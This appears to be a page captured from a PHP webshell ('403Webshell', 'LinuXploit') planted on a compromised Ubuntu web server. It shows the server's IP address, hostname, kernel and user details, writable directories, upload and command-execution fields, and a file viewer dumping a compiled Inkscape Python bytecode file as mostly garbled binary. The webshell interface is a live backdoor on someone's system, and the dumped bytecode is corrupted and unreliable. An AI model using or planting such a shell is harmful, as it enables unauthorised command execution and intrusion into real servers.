403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/scribus_export_pdf.cpython-310.pyc
o

0�a�@s�ddlZddlZddlZddlZddlmZddlmZddlmZm	Z	dZ
e�d�ZGdd�deej
�Zed	kr@e���dSdS)
�N)�AbortExtension)�TempDirMixin)�
take_snapshot�call�scribusz(\d+)\.(\d+)\.(\d+)c@s$eZdZdd�Zdd�Zdd�ZdS)�ScribuscCs�|jdtdddd�|jdtddd	d�|jd
tjddd
d�|jdtjdddd�|jdtdddd�|jdtdddd�dS)Nz
--pdf-version�
pdfVersion�13z[PDF version (e.g. integer numbers between 11 and 15, see Scribus documentation for details))�type�dest�default�helpz--bleed�bleed�0zBleed valuez
--bleed-marks�
bleedMarksFzDraw bleed marksz
--color-marks�
colorMarkszDraw color Marksz--intent�intentzkRendering intent. Options: 0: Perceptual, 1: Relative Colorimetric, 2: Saturation, 3: Absolute Colorimetricz--title�title�zPDF title, required for PDF/X)�add_argument�int�float�inkex�Boolean�str)�self�
arg_parser�r�4/usr/share/inkscape/extensions/scribus_export_pdf.py�
add_arguments*s �����zScribus.add_argumentsc
Cs�|jj}|jj}d}|jj}|jj}	|s|	r|dkrtd��|s"|	r&|d}|�d|�d|�d|�d|�d|�d	|�d
|	�d|�d|jj�d
|jj�d|jj�d|�d��dS)N��z@You need at least 7mm bleed to show cutting marks or color marksz"
import scribus
import sys
icc = "z"
margin = zj
class exportPDF():
    def __init__(self, svg=sys.argv[1], o=sys.argv[2]):
        #scribus.newDocument((�,a�), (margin,margin,margin,margin),
        #                    PORTRAIT, 1, UNIT_MILLIMETERS, PAGE_1, 0, 1)
        #scribus.placeSVG(svg, 0, 0)
        scribus.openDoc(svg)
        pdf = scribus.PDFfile()
        scribus.setUnit(UNIT_MILLIMETERS)
        pdf.bleedl = margin
        pdf.bleedr = margin
        pdf.bleedt = margin
        pdf.bleedb = margin
        pdf.useDocBleeds = False
        pdf.cropMarks = z
        pdf.bleedMarks = z
        pdf.colorMarks = z
        pdf.version = a
        pdf.allowAnnots = True
        pdf.allowChange = True
        pdf.allowCopy = True
        pdf.allowPrinting = True
        pdf.noembicc = False #embed icc !
        pdf.solidpr = icc
        pdf.imagepr = icc
        pdf.printprofc = icc
        pdf.intenti = z
        pdf.intents = z
        pdf.info = "a0"
        pdf.profiles = True
        pdf.profilei = True
        pdf.outdst = 1 # output destination : 0=screen, 1=printer
        pdf.file = o
        pdf.compress = True
        pdf.compressmtd = 0 # 0 = automatic, 1 = jpeg ; 2 = zip, 3 = none
        pdf.quality = 0 #max
        pdf.fontEmbedding = z>
        pdf.thumbnails = True

        pdf.save()
exportPDF())	�optionsrrrrr�writerr)
r�stream�width�height�icc�marginr�
embedFontsrrrrr�generate_script9sD���������� �(�zScribus.generate_scriptc	Cs$ttdd�}t�|�}|durtd|�d���t|�d��}t|�d��}t|�d��}|dks8|dkrC|dkrCtd	|�d
��d���|jj}t	j
�|jd�}t	j
�|jd
�}	|j
j�d�}
t|
�d
krhtd��t|
�dkrrtd��|
d
�d�}t|��+}t|	d��}
|D]}|
�|�q�Wd�n1s�wY|��Wd�n1s�wYt	j
�|jd�}|j
�|j
�d��}|j
�|j
�d��}t|d��}|�||||�Wd�n1s�wYttdd||	|�t|d��}|�|���Wd�dS1�swYdS)Nz-gz	--versionz"Could not detect Scribus version (�)r ���zFound Scribus rz(. This extension requires Scribus 1.5.x.z
scribus.pyzin.svgzsvg:color-profilez7Please select a color profile in the document settings.zVPlease only link a single color profile in the document settings. No output generated.z
xlink:href�wzout.pdfr&r'z-py�rb)r�SCRIBUS_EXE�
VERSION_REGEX�searchrr�groupr#�
input_file�os�path�join�tempdir�svg�defs�findall�len�get�openr$�close�unittouur+�read)rr%�scribus_version�
version_match�major�minor�pointr6�py_file�svg_file�profiles�iccPath�f�f1�line�pdf_filer&r'�fhlrrr�saveqsH

��
��$�zScribus.saveN)�__name__�
__module__�__qualname__rr+rRrrrrr)s8r�__main__)r7�re�sysrr�
inkex.baser�
inkex.commandrrr2�compiler3�OutputExtensionrrS�runrrrr�<module>s
	n�

Youez - 2016 - github.com/yon3zu
LinuXploit